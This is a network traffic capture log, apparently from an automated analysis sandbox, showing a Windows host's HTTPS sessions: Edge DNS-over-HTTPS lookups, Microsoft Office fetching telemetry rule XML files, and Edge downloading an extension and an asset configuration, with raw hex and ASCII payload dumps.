2024-11-25 06:53:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49877	172.64.41.3	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 06:53:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 06:53:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 06:53:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7fb9377bc24414-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 06:53:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 16 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49876	162.159.61.3	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 06:53:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 06:53:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 06:53:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7fb937997319cf-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 06:53:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 be 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49878	172.64.41.3	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 06:53:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 06:53:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 06:53:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7fb9383fab42eb-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 06:53:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0c 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:45 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:46 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c63dd3a8-001e-0017-61d8-3d0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065346Z-178bfbc474b9xljthC1NYCtw940000000710000000005yt6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:46 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:47 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:47 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 7397a655-c01e-000b-4bbf-3ee255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065347Z-178bfbc474bp8mkvhC1NYCzqnn00000006y0000000007m1d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:47 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:47 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:47 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8a5d0632-c01e-0046-08fc-3d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065347Z-178bfbc474bh5zbqhC1NYCkdug0000000710000000007qg3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:47 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:47 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:47 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:47 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: ea7a0cbc-701e-001e-589c-3ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065347Z-178bfbc474bw8bwphC1NYC38b400000006ug00000000emr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 06:53:47 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:47 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:47 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: c229ce53-501e-008f-23c3-3b9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065347Z-15b8b599d88wn9hhhC1TEBry0g00000005kg00000000cwey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:47 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49889	152.195.19.97	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:48 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733122421&P2=404&P3=2&P4=Bm5KyWQl0z9aBxtBMjtlhHhzKchxQ1s%2fpvGWjKdWd0ZE7FdCJHjnvaIcXyi9Y7SAZlHa%2fiJm7CeiVOWSoiF8nA%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: mo2mtUNsb4O2RkZ1wOcc0B Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:48 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12444159 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Mon, 25 Nov 2024 06:53:48 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-25 06:53:48 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49887	13.107.246.40	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:48 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:49 UTC	556	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:48 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: d5ee3f81-701e-0068-2406-3f3656000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T065348Z-15b8b599d88tmlzshC1TEB4xpn00000005kg0000000019sw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-25 06:53:49 UTC	15828	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-25 06:53:49 UTC	16384	IN	Data Raw: 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 b1 dc 86 43 a9 41 db Data Ascii: 